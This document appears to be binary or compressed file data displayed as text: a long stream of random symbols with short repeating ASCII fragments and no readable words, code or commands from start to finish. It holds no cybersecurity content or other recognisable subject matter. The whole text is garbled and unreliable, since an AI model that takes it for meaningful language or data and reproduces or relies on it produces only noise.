'fullname'); + + $ok = true; + foreach ($filesarray as $key => $file) { + if (preg_match('/\/vendor\//', $file['fullname'])) { + if (!preg_match('/php-imap/', $file['fullname'])) { // we accept 'vendor' dir for php-imap (not find how to do it easily without) + print "Found a vendor dir into ".$file['fullname']."\n"; + $ok = false; + } + } + } + + $this->assertTrue($ok, 'Pb in list of files of repository'); + + return ''; + } +} diff --git a/test/phpunit/SecurityTest.php b/test/phpunit/SecurityTest.php index cadf8a7504f..4a0b65333ff 100644 --- a/test/phpunit/SecurityTest.php +++ b/test/phpunit/SecurityTest.php @@ -221,6 +221,10 @@ class SecurityTest extends PHPUnit\Framework\TestCase $result=testSqlAndScriptInject($test, 1); $this->assertEquals($expectedresult, $result, 'Error on testSqlAndScriptInject for SQL2a. Should find an attack on GET param and did not.'); + $test = "delete\nfrom"; + $result=testSqlAndScriptInject($test, 1); + $this->assertEquals($expectedresult, $result, 'Error on testSqlAndScriptInject for SQL2b. Should find an attack on GET param and did not.'); + $test = 'action=update& ... set ... ='; $result=testSqlAndScriptInject($test, 1); $this->assertEquals(0, $result, 'Error on testSqlAndScriptInject for SQL2b. Should not find an attack on GET param and did.'); @@ -332,7 +336,11 @@ class SecurityTest extends PHPUnit\Framework\TestCase $test="Text with ' encoded with the numeric html entity converted into text entity ' (like when submited by CKEditor)"; $result=testSqlAndScriptInject($test, 0); // result must be 0 - $this->assertEquals(0, $result, 'Error on testSqlAndScriptInject mmm'); + $this->assertEquals(0, $result, 'Error on testSqlAndScriptInject mmm, result should be 0 and is not'); + + $test ='XSS'; + $result=testSqlAndScriptInject($test, 0); + $this->assertGreaterThanOrEqual($expectedresult, $result, 'Error on testSqlAndScriptInject nnn, result should be >= 1 and is not'); $test="/dolibarr/htdocs/index.php/".chr('246')."abc"; // Add the char %F6 into the variable $result=testSqlAndScriptInject($test, 2); @@ -385,9 +393,8 @@ class SecurityTest extends PHPUnit\Framework\TestCase $_POST["param16"]='abc'; $_POST["param17"]='abc'; $_POST["param18"]='abc'; - //$_POST["param13"]='javascript%26colon%26%23x3B%3Balert(1)'; - //$_POST["param14"]='javascripT&javascript#x3a alert(1)'; - + $_POST["param19"]='XSS'; + //$_POST["param19"]='XSS'; $result=GETPOST('id', 'int'); // Must return nothing print __METHOD__." result=".$result."\n"; @@ -507,7 +514,7 @@ class SecurityTest extends PHPUnit\Framework\TestCase print __METHOD__." result=".$result."\n"; $this->assertEquals(trim($_POST["param11"]), $result, 'Test an email string with alphawithlgt'); - // Test with restricthtml we must remove html open/close tag and content but not htmlentities (we can decode html entities for ascii chars like n) + // Test with restricthtml: we must remove html open/close tag and content but not htmlentities (we can decode html entities for ascii chars like n) $result=GETPOST("param6", 'restricthtml'); print __METHOD__." result param6=".$result."\n"; @@ -537,16 +544,24 @@ class SecurityTest extends PHPUnit\Framework\TestCase print __METHOD__." result=".$result."\n"; $this->assertEquals("Text with ' encoded with the numeric html entity converted into text entity ' (like when submited by CKEditor)", $result, 'Test 14'); - $result=GETPOST("param15", 'restricthtml'); // src=>0xbeefed + $result=GETPOST("param15", 'restricthtml'); // param15 = src=>0xbeefed that is a dangerous string print __METHOD__." result=".$result."\n"; $this->assertEquals("0xbeefed", $result, 'Test 15'); // The GETPOST return a harmull string - // Test with restricthtml + MAIN_RESTRICTHTML_REMOVE_ALSO_BAD_ATTRIBUTES to test disabling of bad atrributes + $result=GETPOST("param19", 'restricthtml'); + print __METHOD__." result=".$result."\n"; + $this->assertEquals('XSS', $result, 'Test 19'); + + + // Test with restricthtml + MAIN_RESTRICTHTML_ONLY_VALID_HTML to test disabling of bad atrributes $conf->global->MAIN_RESTRICTHTML_ONLY_VALID_HTML = 1; - $result=GETPOST("param15", 'restricthtml'); + + $result=GETPOST("param15", 'restricthtml'); // param15 = src=>0xbeefed that is a dangerous string print __METHOD__." result=".$result."\n"; $this->assertEquals('InvalidHTMLString', $result, 'Test 15b'); + //$this->assertEquals(' src=>0xbeefed', $result, 'Test 15b'); + unset($conf->global->MAIN_RESTRICTHTML_ONLY_VALID_HTML); @@ -555,7 +570,7 @@ class SecurityTest extends PHPUnit\Framework\TestCase $result=GETPOST("param15", 'restricthtml'); print __METHOD__." result=".$result."\n"; - $this->assertEquals('0xbeefed', $result, 'Test 15b'); + $this->assertEquals('0xbeefed', $result, 'Test 15c'); $result=GETPOST('param16', 'restricthtml'); print __METHOD__." result=".$result."\n"; @@ -836,6 +851,36 @@ class SecurityTest extends PHPUnit\Framework\TestCase $this->assertEquals('google.com', $result, 'Test on dol_sanitizeUrl C'); } + /** + * testDolSanitizeEmail + * + * @return void + */ + public function testDolSanitizeEmail() + { + global $conf,$user,$langs,$db; + $conf=$this->savconf; + $user=$this->savuser; + $langs=$this->savlangs; + $db=$this->savdb; + + $test = 'aaa@mycompany.com , bbb@mycompany.com '; + $result=dol_sanitizeEmail($test); + $this->assertEquals($test, $result, 'Test on dol_sanitizeEmail A'); + + $test = "aaa@mycompany.com ,\nbbb@mycompany.com "; + $result=dol_sanitizeEmail($test); + $this->assertEquals('aaa@mycompany.com ,bbb@mycompany.com ', $result, 'Test on dol_sanitizeEmail B'); + + $test = 'aaa@mycompany.com ,\nbbb@mycompany.com '; + $result=dol_sanitizeEmail($test); + $this->assertEquals('aaa@mycompany.com ,nbbb@mycompany.com ', $result, 'Test on dol_sanitizeEmail C'); + + $test = 'aaa@mycompany.com , "bcc:bbb"@mycompany.com '; + $result=dol_sanitizeEmail($test); + $this->assertEquals('aaa@mycompany.com , bccbbb@mycompany.com ', $result, 'Test on dol_sanitizeEmail D'); + } + /** * testDolSanitizeFileName * diff --git a/test/phpunit/TargetTest.php b/test/phpunit/TargetTest.php new file mode 100644 index 00000000000..b2a42003bad --- /dev/null +++ b/test/phpunit/TargetTest.php @@ -0,0 +1,229 @@ + + * Copyright (C) 2022 Alice Adminson + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file test/phpunit/TargetTest.php + * \ingroup webhook + * \brief PHPUnit test for Target class. + */ + +global $conf, $user, $langs, $db; +//define('TEST_DB_FORCE_TYPE','mysql'); // This is to force using mysql driver + +//require_once 'PHPUnit/Autoload.php'; +require_once dirname(__FILE__).'/../../htdocs/master.inc.php'; +require_once dirname(__FILE__).'/../../htdocs/webhook/class/target.class.php'; + +if (empty($user->id)) { + print "Load permissions for admin user nb 1\n"; + $user->fetch(1); + $user->getrights(); +} +$conf->global->MAIN_DISABLE_ALL_MAILS = 1; + +$langs->load("main"); + + +/** + * Class TargetTest + * + * @backupGlobals disabled + * @backupStaticAttributes enabled + * @remarks backupGlobals must be disabled to have db,conf,user and lang not erased. + */ +class TargetTest extends PHPUnit\Framework\TestCase +{ + protected $savconf; + protected $savuser; + protected $savlangs; + protected $savdb; + + /** + * Constructor + * We save global variables into local variables + * + * @return TargetTest + */ + public function __construct() + { + parent::__construct(); + + //$this->sharedFixture + global $conf, $user, $langs, $db; + $this->savconf = $conf; + $this->savuser = $user; + $this->savlangs = $langs; + $this->savdb = $db; + + print __METHOD__." db->type=".$db->type." user->id=".$user->id; + //print " - db ".$db->db; + print "\n"; + } + + /** + * Global test setup + * + * @return void + */ + public static function setUpBeforeClass() : void + { + global $conf, $user, $langs, $db; + $db->begin(); // This is to have all actions inside a transaction even if test launched without suite. + + print __METHOD__."\n"; + } + + /** + * Unit test setup + * + * @return void + */ + protected function setUp() : void + { + global $conf, $user, $langs, $db; + $conf = $this->savconf; + $user = $this->savuser; + $langs = $this->savlangs; + $db = $this->savdb; + + print __METHOD__."\n"; + } + + /** + * Unit test teardown + * + * @return void + */ + protected function tearDown() : void + { + print __METHOD__."\n"; + } + + /** + * Global test teardown + * + * @return void + */ + public static function tearDownAfterClass() : void + { + global $conf, $user, $langs, $db; + $db->rollback(); + + print __METHOD__."\n"; + } + + + /** + * testTargetCreate + * + * @return int + */ + public function testTargetCreate() + { + global $conf, $user, $langs, $db; + $conf = $this->savconf; + $user = $this->savuser; + $langs = $this->savlangs; + $db = $this->savdb; + + $localobject = new Target($this->savdb); + $localobject->initAsSpecimen(); + $result = $localobject->create($user); + + print __METHOD__." result=".$result."\n"; + $this->assertLessThan($result, 0); + + return $result; + } + + /** + * testTargetFetch + * + * @param int $id Id of object + * @return Target + * + * @depends testTargetCreate + * The depends says test is run only if previous is ok + */ + public function testTargetFetch($id) + { + global $conf,$user,$langs,$db; + $conf=$this->savconf; + $user=$this->savuser; + $langs=$this->savlangs; + $db=$this->savdb; + + $localobject=new Target($this->savdb); + $result=$localobject->fetch($id); + + $this->assertLessThan($result, 0); + print __METHOD__." id=".$id." result=".$result."\n"; + return $localobject; + } + + /** + * testTargetUpdate + * @param Target $localobject Target + * @return int + * + * @depends testTargetFetch + * The depends says test is run only if previous is ok + */ + public function testTargetUpdate($localobject) + { + global $conf, $user, $langs, $db; + $conf = $this->savconf; + $user = $this->savuser; + $langs = $this->savlangs; + $db = $this->savdb; + + $localobject->note_private='New note private after update'; + $result = $localobject->update($user); + + $this->assertLessThan($result, 0); + print __METHOD__." id=".$localobject->id." result=".$result."\n"; + + return $result; + } + + /** + * testTargetDelete + * + * @param int $id Id of object + * @return int + * + * @depends testTargetUpdate + * The depends says test is run only if previous is ok + */ + public function testTargetDelete($id) + { + global $conf, $user, $langs, $db; + $conf = $this->savconf; + $user = $this->savuser; + $langs = $this->savlangs; + $db = $this->savdb; + + $localobject = new Target($this->savdb); + $result = $localobject->fetch($id); + $result = $localobject->delete($user); + + print __METHOD__." id=".$id." result=".$result."\n"; + $this->assertLessThan($result, 0); + return $result; + } +} diff --git a/test/phpunit/UserTest.php b/test/phpunit/UserTest.php index f318ae4cbac..9963007af15 100644 --- a/test/phpunit/UserTest.php +++ b/test/phpunit/UserTest.php @@ -204,7 +204,7 @@ class UserTest extends PHPUnit\Framework\TestCase $newlocalobject=new User($this->savdb); $newlocalobject->initAsSpecimen(); $this->changeProperties($newlocalobject); - $this->assertEquals($this->objCompare($localobject, $newlocalobject, true, array('id','socid','societe_id','specimen','note','ref','pass','pass_indatabase','pass_indatabase_crypted','pass_temp','datec','datem','datelastlogin','datepreviouslogin','iplastlogin','ippreviouslogin','trackid')), array()); // Actual, Expected + $this->assertEquals($this->objCompare($localobject, $newlocalobject, true, array('id','socid','societe_id','specimen','note','ref','pass','pass_indatabase','pass_indatabase_crypted','pass_temp','datec','datem','datelastlogin','datepreviouslogin','flagdelsessionsbefore','iplastlogin','ippreviouslogin','trackid')), array()); // Actual, Expected return $localobject; } diff --git a/test/phpunit/WebsiteTest.php b/test/phpunit/WebsiteTest.php new file mode 100644 index 00000000000..4383d844ed8 --- /dev/null +++ b/test/phpunit/WebsiteTest.php @@ -0,0 +1,227 @@ + + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + * or see https://www.gnu.org/ + */ + +/** + * \file test/phpunit/WebsiteTest.php + * \ingroup test + * \brief PHPUnit test + * \remarks To run this script as CLI: phpunit filename.php + */ + +global $conf,$user,$langs,$db; +//define('TEST_DB_FORCE_TYPE','mysql'); // This is to force using mysql driver +//require_once 'PHPUnit/Autoload.php'; + +if (! defined('NOREQUIRESOC')) { + define('NOREQUIRESOC', '1'); +} +if (! defined('NOCSRFCHECK')) { + define('NOCSRFCHECK', '1'); +} +if (! defined('NOTOKENRENEWAL')) { + define('NOTOKENRENEWAL', '1'); +} +if (! defined('NOREQUIREMENU')) { + define('NOREQUIREMENU', '1'); // If there is no menu to show +} +if (! defined('NOREQUIREHTML')) { + define('NOREQUIREHTML', '1'); // If we don't need to load the html.form.class.php +} +if (! defined('NOREQUIREAJAX')) { + define('NOREQUIREAJAX', '1'); +} +if (! defined("NOLOGIN")) { + define("NOLOGIN", '1'); // If this page is public (can be called outside logged session) +} +if (! defined("NOSESSION")) { + define("NOSESSION", '1'); +} + +require_once dirname(__FILE__).'/../../htdocs/main.inc.php'; +require_once dirname(__FILE__).'/../../htdocs/core/lib/website.lib.php'; +require_once dirname(__FILE__).'/../../htdocs/core/lib/website2.lib.php'; +require_once dirname(__FILE__).'/../../htdocs/website/class/website.class.php'; + + +if (empty($user->id)) { + print "Load permissions for admin user nb 1\n"; + $user->fetch(1); + $user->getrights(); + + if (empty($user->rights->website)) { + $user->rights->website = new stdClass(); + } +} +$conf->global->MAIN_DISABLE_ALL_MAILS=1; + + +/** + * Class for PHPUnit tests + * + * @backupGlobals disabled + * @backupStaticAttributes enabled + * @remarks backupGlobals must be disabled to have db,conf,user and lang not erased. + */ +class WebsiteTest extends PHPUnit\Framework\TestCase +{ + protected $savconf; + protected $savuser; + protected $savlangs; + protected $savdb; + + /** + * Constructor + * We save global variables into local variables + * + * @return SecurityTest + */ + public function __construct() + { + parent::__construct(); + + //$this->sharedFixture + global $conf,$user,$langs,$db; + $this->savconf=$conf; + $this->savuser=$user; + $this->savlangs=$langs; + $this->savdb=$db; + + print __METHOD__." db->type=".$db->type." user->id=".$user->id; + //print " - db ".$db->db; + print "\n"; + } + + /** + * setUpBeforeClass + * + * @return void + */ + public static function setUpBeforeClass(): void + { + global $conf,$user,$langs,$db; + $db->begin(); // This is to have all actions inside a transaction even if test launched without suite. + + print __METHOD__."\n"; + } + + /** + * tearDownAfterClass + * + * @return void + */ + public static function tearDownAfterClass(): void + { + global $conf,$user,$langs,$db; + $db->rollback(); + + print __METHOD__."\n"; + } + + /** + * Init phpunit tests + * + * @return void + */ + protected function setUp(): void + { + global $conf,$user,$langs,$db; + $conf=$this->savconf; + $user=$this->savuser; + $langs=$this->savlangs; + $db=$this->savdb; + + print __METHOD__."\n"; + } + + /** + * End phpunit tests + * + * @return void + */ + protected function tearDown(): void + { + print __METHOD__."\n"; + } + + + /** + * testGetPagesFromSearchCriterias + * + * @return void + */ + public function testGetPagesFromSearchCriterias() + { + global $db, $website; + + $website = new Website($db); // $website must be defined globally for getPagesFromSearchCriterias() + + $s = "123') OR 1=1-- \' xxx"; + /* + var_dump($s); + var_dump($db->escapeforlike($s)); + var_dump($db->escape($db->escapeforlike($s))); + */ + + $res = getPagesFromSearchCriterias('page,blogpost', 'meta,content', $s, 2, 'date_creation', 'DESC', 'en'); + //var_dump($res); + print __METHOD__." message=".$res['code']."\n"; + // We must found no line (so code should be KO). If we found somethiing, it means there is a SQL injection of the 1=1 + $this->assertEquals($res['code'], 'KO'); + } + + /** + * testDolStripPhpCode + * + * @return void + */ + public function testDolStripPhpCode() + { + global $db; + + $s = "abc\nghi"; + $result = dolStripPhpCode($s); + $this->assertEquals("abc\nghi", $result); + + $s = "abc\nghi"; + $result = dolStripPhpCode($s); + $this->assertEquals("abc\nghi", $result); + } + + /** + * testCheckPHPCode + * + * @return void + */ + public function testCheckPHPCode() + { + global $user; + + // Force permission so this is not the permission that will affect result of checkPHPCode + $user->rights->website->writephp = 1; + + $s = ''; + $result = checkPHPCode('', $s); + print __METHOD__." result checkPHPCode=".$result."\n"; + $this->assertEquals($result, 1, 'checkPHPCode did not detect the string was dangerous'); + + $s = ';").($_^"/"); ?>'; + $result = checkPHPCode('', $s); + print __METHOD__." result checkPHPCode=".$result."\n"; + $this->assertEquals($result, 1, 'checkPHPCode did not detect the string was dangerous'); + } +} diff --git a/test/phpunit/phpunittest.xml b/test/phpunit/phpunittest.xml index 84b31a8dd3b..8157d3f3e7a 100644 --- a/test/phpunit/phpunittest.xml +++ b/test/phpunit/phpunittest.xml @@ -1,8 +1,8 @@
      '; + $searchpicto = $form->showFilterButtons('left'); + print $searchpicto; + print ''; -$searchpicto = $form->showFilterButtons(); -print $searchpicto; -print ''; + $searchpicto = $form->showFilterButtons(); + print $searchpicto; + print '
      '; - print '
      '; + print '
      '; } // Output Kanban print $object->getKanbanView(''); @@ -625,6 +641,21 @@ while ($i < $imaxinloop) { // Show here line of result $j = 0; print '
      '; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print ''; - if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($object->id, $arrayofselected)) { - $selected = 1; + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print '

    3$pcc*-a +>VPdIU! gΜ 9'׮]3?X²GnOvj=eXRHSh}a֬YLf$H,h< B a2_B@ +?B΁NF"SϞ= CuN@5~x '5s++̙3QVS]r>#lŋ[nu,&oRJdgf͜s~s ?--ЧOOO5kִBIVfMSR߾}ݞ~WSf`?"`͚5s*1L:_{yϽFOԩ l߾ЕSLq#+xt{d$Ç_z +؉ ܽ{wϞ=;wLJJBdA%KӗՍ;w.>Ap58ze\?% _>h_d6uF:qDƍaÆgiTZР.TUV;VZwaZ]v!CpL dQBkFlܸ2)66m/ 6%%91bDp: `#ۿ5@VcG?zpB: ☚7 o߾4m۶E,XG^Ǐk ݹ !RJ=w28E6ۂ7dT… p+4~x~F ((h"kD`d{ք +-+rv`nV!MO8s@k=mR쫗9k׮oޭxDN+%oҳgOM]Ez^]5֭۽{DEEB{rN0!owC'_T BrPPQFY/zСnO{9g7Lѭ[7A`AHHHRٲe&>3%>|hߥ7uV`'yΝWF #f 9vZv)klR\ Jj׮J@~\05k<)t Nd? hҤI\ +rЫW[{.٤IjACvc_͛7vo@gAϛ7teʕ+a0Bd'Z+A ڵQ7nv:v% aKYYYϟG/@ac"k@ +sZƔ/_> &-`Gl<O66({p3U~}KYZ6eW,]Ko|~gϞqqqx#ǏK.yX|jrnGp@ZZ}Zn]q*TVZ + ,X`~D %+~zۂ7k\Iճ~Z59[,kNj|Xle zInO˃= .`Sx|N:o->ݾ};>>xРAKALe޳V$o޼vӧ-̙3{ъ%Kj׮Mn +=}Z ѣGnGZ=\x~~~=kвjժeY%{}Qsb'5&YQ`12z}{ĉ9I`ݖ1nO'A:q@#O^#xId5탢!PN@Y%\R% 0E <#„~qddÅ4Uǎ9aݚD/¤cHX177@I,F)(=zԾHRp]Xv.\>J(T{qذaegϤRv=;63޼ycݸZjUZ`_2}*x +rrrbA} ;vn`͚57nX,Hw >J5A[q3p7ox$>&&&zoKy&T&?~n.X1tP|¼nǏ߲e[~p%x%tbԣGF_~9xjjjJ%cǎIZ^T)WoYjC.In +)[Cphz4'iQs[(T~}O+(Ê+x]0D-L)UG_gjyr_Uϟ0&慀|S8"""F7uԁ ߹sgI>qGc_pe'z¾pTCCC9FgP'3_н{wPfϞ gԫrYf̘S>}9gΜ ̜9hC9\}@RR̎ uw{p 33lٲ{6p"GD>ߑPuS6p ; oU^yX@Vڭ[vJ]^|y…111xﴱiӦg)8qB A}TReEmH>ѣG5Ҋڐп@;֫W(1(222ڐ|رcEmHXAڊ)... EmH>/j+ +ڵkw֭(ktӋڐ|4nܸNQF[.j+׮]h@0!] +]`B@\Шĥ`B +R0!q)LH@V +& .R )Jĥ`T +R0!Y)J@\ +& +RQ)Kd`B +R0*q)LH@\ +F .R )Kĥ`B +R0!q)LH@V +& .R )Jĥ`T +R0!Y)J@\ +& +R9@~ׯeÊ8 p0[0eqxWċiP%5 K "waxE,IK +&$ ho޼/O3geel۾ 駟ZlYlYÁCCCO ~NQBGSE-]vݷoHNQ8|pTTT*UJ*7Uvɓ'gff$4 fͪ޽{'O~4J*}G~~~'N, ^:>XbDDʕ+"KݻwMִi +*2eʄM:"vɓ`vZs1۷ooҤ Rr`"qu+WoVZϟS +x&M*,W޼yƌC5o*mK͚5[r%5W"dGgp9y:ɓ'E=zԵkWҾׯ߿2JOUTqh? p0N:^+,sBΝ;guNݻ&MduE1mJiԩё  6GC>dgg#.Þ-[O pSxX%@4"V)x񢟟ԩӳgyJ #j# 4\72nܸK=Zp!} jԨ*A8zhHHLBuZjQ^e!>==/)3<$SL&p +@]T<ؽ{8Y ,ZnmT0u20ɓaL +͛7O:EyO?%f#]v:M|wϟO{y}'Y_e?l}jL Im&M`IϞ==""l)5~k«sscrrqJP֮]Ik,}PQaRBBߤ$4hx +0 / SGL(z޽{3XhQ~322ȅ~X;wLG +>3~[|8{1сz(11z@E^~Mp-QSEshܸe3f>dggWϚ5:v숧S[XR\9O߾}[Z5|aܹ\Dus9ͣGhNC$@K.?lٲ%}mAFɓ'̙L(~l|xǎǎOX# ײpp-Y]o֭[pma@22 UV &C?8@ԩ5Myfj"`GmܸIeff>|m _|/YmH +J׾pBsCYÙP+t.N $Kv Yi&2)"A98|K֮DC#'M$ +Ux3fծ]ѣ&i2-[G*Jٰa?b ׯ_mNڽ{7B۪U/^xTHHH`` >4*U'O|}N ꫯ,JzzB")))IAAAn.z:`BS$j9sLYN>ڣJ~ɭ)2yp _Nlܸh.@BRѽzB֭hbO< q1h ,p{ka~yҥK)#!%88ڵk 4umN.NB3 +&kHɓ'K` k\akhbժUl+$Mi#)##й@ffK-]j +U S&%{SqCW2b"u2GJ]vO8Ռk׮\۷SE\4mZTxʔ)\{nZWv?.@r]4ZfM#{ &1e˖Yպ?p.~q 2y̾A@dذa^@"&&<;:Ԛb |Y. m- +@en\ TT+88EPJWWW'O*VXFk]L 'ӧO :t`-Tsj(00 e2̾,: W"G= x.q%&&2s1 +? xE~jLXxq\IsC[OFD￧5͘1bVT>;\kr[ޫW/, N.N9@KŇRO~)dάmugϞ[f>}ДdNԐ8HZd{o޼pm"H𶇂Հ0s1h;wvm$_[ݺufgϞK?Km6k:/^Z mP"OS`<) N42w?y\ +<*S@ ܹ3pMA@$~n + tp]{v۷﷝rtFׯbH"[@u qpV/u~6m -R6l 2vm_$''I>*n?탽V-[ H"uV4KՈ,̛j-Iӵ #ljM6-^xڵ+7QGIN,YA/"ݻ+W"e *cɢEPܶ&x05(+V_~… V>(@A@#"L,W0dH<$xڵm۶PQAa RE0͛hM?a={d 8]e{))ףH9@C`T`T +JILm2z ! @J`N +F .R )Kĥ`B +R0!q)LH@V +& .R )Jĥ`T +R0!Y)J@\ +& +RQ)Kd`B +R0*q)LH@\ +F .R )Kĥ`B +R0!q)LH@V +& .R )Jĥ`T +R0!Y)J@\ +& +RQ)Kd`B +R0*q)LH@\ +F .R )%J}^+V,j+ +%Kҧ~Zl6$ժU|EmEW^Q[Q կ_~_~EmH> + +]tQ[Q UP!$$(7n ov£PʕW^V^zHW\G4yUPPPQ[Q F+jCQ`` B o?YVHUV5*jC섿*j+ +2eTT(}NxT߷?QV Ht +t +@\:`B: +0!0*q)LH@\ +F .R )Kĥ`B +R0!q)LH@V +& .R )Jĥ`T +R0!Y)J@\ +& +RQ)Kd`B +R0*q)LH@\ +F .R )Kĥ`B +R0!q)LH@V +& .R )Jĥ`T +R0!Y)L'O/^) /_ܶm"5kݻ'$lذaݺuǎIPܹ믿N>~ؼy3>d&+ ٻw}]||={޼y#S^zus̙7oݹs˗,YuVDUCWSIV +6.]z~NJ:T$AAkJMME(QlK|)Lr*W "5l>ۉf3N6Pnhƌ; ={l>؆BJV +=z4i$ϲEԩEZu[L2|;ƍڵs3qgΜ'TaÆDX!?}CtRt>pĈd=pP_j>@`HK*`df; &z"䫯AAAu`ڴiL; עE Ҩ(X5;;o*Ps?h˱S233A@7J*dN.]ؑf Vzu"p 2\rmo tT-[2eK +=/Mw֮];7B}[ 99,X.Bp dz-5ϟ?Gaaa> .ڵ+@%IΞ=K?ʶs0M۷o?sЉ'QcTԬ,X),w-_/\SȻ֨Q#j{RR+6Vvp L=xe> J'%ϟ?ρ999,ڷoo0iRF"8LX|PZʭg̘AsrqXy(H_ `$l]T]gNN)Geddx~` ;jY8 /Djڴ)Lѣ3))XreٲeaR&M@zL @^Gx>]*UŴ'7;wa(_jjG.޽S8`NtG233Qu 'Y8|pժU-WYYYG|E88 dɒhƝ:u5@"0)((ӧ"VyJa'B Pu}ӻ ;!(ҠPZZ3))7n쉊z%JZj y)٪ *>gIU&ԫWOĩ`ĉV֭T͛g\dѣWP.]+>ϟ'RRR~]\/M6>L"bW +vn޼uZw^NN Sԩ_Ya:tT$)@]]j9ULk?>,@Cz4&@LL 0K)K,?z=BB">rJzu} *uIh5,,SQ`,cǨT9"bW@VVM!6هX_zpOa)QS34[믿S3 mD&÷'7@ag޽>]tõXm۶B',vYˀB">eIm3iի~[n4De˖9\+?333OY{˗/׬Y3xΝ;GFFΘ1"vJm\n]ҥYTOE5 +Փ4V"kBP>ܠAkƍ4EW^hYtݴi%%ўѣG{}uVVgϞݻ[s֬YGp*Tn޼й=N)a/ %Rh d.h+Wǥ} h +ӟ~㿅j6{l:(99@$QFɒ%pEef͚9\S"'[/`ÇFEEխ[ +EdS"""8pGNJOSه*t.N ʰf͚4999fgl(} VBٮ_MFEJ%FQi'$$0;JkFuժUR ;\V8p@$AC@3pROmJ޶mz{@3㏛4iҧO.oڶVV-EwU|x>}/>| NMM-t.N _:gÆ Φu53HիWѦ ĩɓ'[qk~Gڬ4o<4Mʐf x P^=H5I.t܆~讒zbp:P"JD%7j? (tE &TX'cǎ}%guؑeʔ<7ԩSOKJ!}6R˵kׯ_ϝ;j,ZZS7n8V&ouN/*<ߺu+\Z5[ӗ;EhwtA>0CIO< w#Ϙ1#::3T͛ӧO9s:W#&2gi20~e !C8\˽&XHW,^a Z&VXNNHeއ(hlJө`)40 [ln#|{nfڵd* P޽{ۼy󈈈88(Ԯ  O=|uI1`ƍTtxG!Z <tWhрc̃k>" <( cIچVM+dPeb|[T,ԾVDkZ Z?b' {MNSu9'GFIϕs?sEs(@klʖ-t*Yhmj||ېZDL +]͛ h 36l|t÷H"Y +^Z*-0MTZj[,zțE{bbsʔ)gxx8so 3T)@˗x@iӦr\1% /v7uAZ)%CKu =zZSU0ZfUxUΝ6(^%J*Ure/CFFdU]V̙#R=1]$y|~nѝO<9hРu-[?1ǐ|ȁ/m !! o!-ZYO4cG}sz3k "ϟ?G۷/P4Nx)zS +5kvu9h:ܴiBK{'+V0W; +۳#H*|unR7D`!ŋVkԨoʕ(!c'>QY@D֥t +8z 6Y=L)SRhb 8&b 8&c ,&c 8&b 8&c ,&c 8&b 8&c ,&c 8&b 8&c ,&c 8&b 8&c ,&c 8&b 8&c ,&c 8&b 8&c ,&c 8&b 8&c ,&E~?]s: +@bt~WbE`Ƀjժݸq#ЁM2e(bW\ t y_D@G77oތٳg hUѢEH$&&8Aƍ۷o(ɓp*U\.W@BK: +/_,lg_ga; +8 {B/gUxH"_DGGc(: +ԩSٲe Hm۶B +'ޭ[@GX"Ё~XX@G7k֬\r˖-_ƾ[+W t yзo|'?٨Q@G7-B%l 8@[ cU1@YL40@qL40@qLT1@YL40@qL40@qLT1@YL40@qL40@qLT1@YL40@qL40@qLT1@YL40@qL40@qLT1@YL40@qL40@qLT1@YL40@qL40@q4Nj/ٳgڵUTҲe3fܺu_[Sдbcc۴iӣGkΜ9:uZjٲe###5jK{aŊ&O,u}ԩh˕+W^>ĉ ,X?5j3Tq@3ꫯرct ρ㣣+W3dջw͛74-A@ԟ?A{IМʗ/εpL~nQY޲eK^jԨPkժ5hРgK&Ν;3g|k֬o#Tb +*+>RJ|WZŏYO)ҥK((^hgO?/_D?I*T"Ȯ8E:x`.\x"_|v,4hЀz?#I&"e||T۷G8z깜z/%ǎPB 6m~RӮ]f3$$dڴi"}_DЊ04/VإKqݪ[ng֭C!w-Y$**QLq%`̀H̙3T^W ˗/5k뇼w $ 6`.E#EJ#""{ 0tO)ybF:zhBBr iꢈ u|4޽NZvmtt4}aq`ƍ'wBP^xVĆԪU͛S* !O<8P+ʨPn^Mŋ+=q+ΝC~޶m[r>|F0H`&)-(I_bExx8*qȮA(…  yfih@&dRNC]E傈;q"?BtӦM0e3PPgΜyfffLL >G?x +Pzqiݺup*]D I&q"{ ޽{ȟh8E5k\vs  VB[L߿?A|թS'Fٳg &Vt~߶h_aň~ +~J + A"jDQQQSLVDRĉt׬Y)GJΝ;G: R:ݻ;|`zz:#LV|~;l0j= pcHMIFF ڵkDEt6ӫW6hYbרQ=@?%FJ)PcZNʕ+]v̳/%k׮E<233~d/ ŋٿ}%uH1cp>"@ ] %3gD.[Ddd$s7 8_syLPÕ+W~!}:t!gϞQM(Qo*"^4h\NK1͛l*c L& >>AFDDHM pΝcǎM0_nذ! |7.ς;BJ+VXR%D^¼L6F\~"r iӦ$}+pQDYnСе))#3kD )HMM:$$T ]p0T^=::?1@Uj# 4ZŊsN:|`ĉR w};O>$< 1bTP0_H\l/^sW^Y"O>AHJ,_9rk-$'Ovyڇp @zz:ґ˳51_t  e>$%UVEӠ,\йd`b(R`N5j|wT7^Jv4QBpaڷf͚'O ~.;:n8DLJJ*VC222ʗ/ĜK(hBϞ=SEf~zV֭:0_`j׮/У 'Q:T[4Z1T"p1JmW'*3c t.\pQ^XXX]MV\Ium۶"Q@p?+ر% &P/6l3Nq@4is̑*֭#tS +] '(a'&&ry/Pe!C<ϤL LS]?Fga=`L?22@Mik'$UTor$(y @b 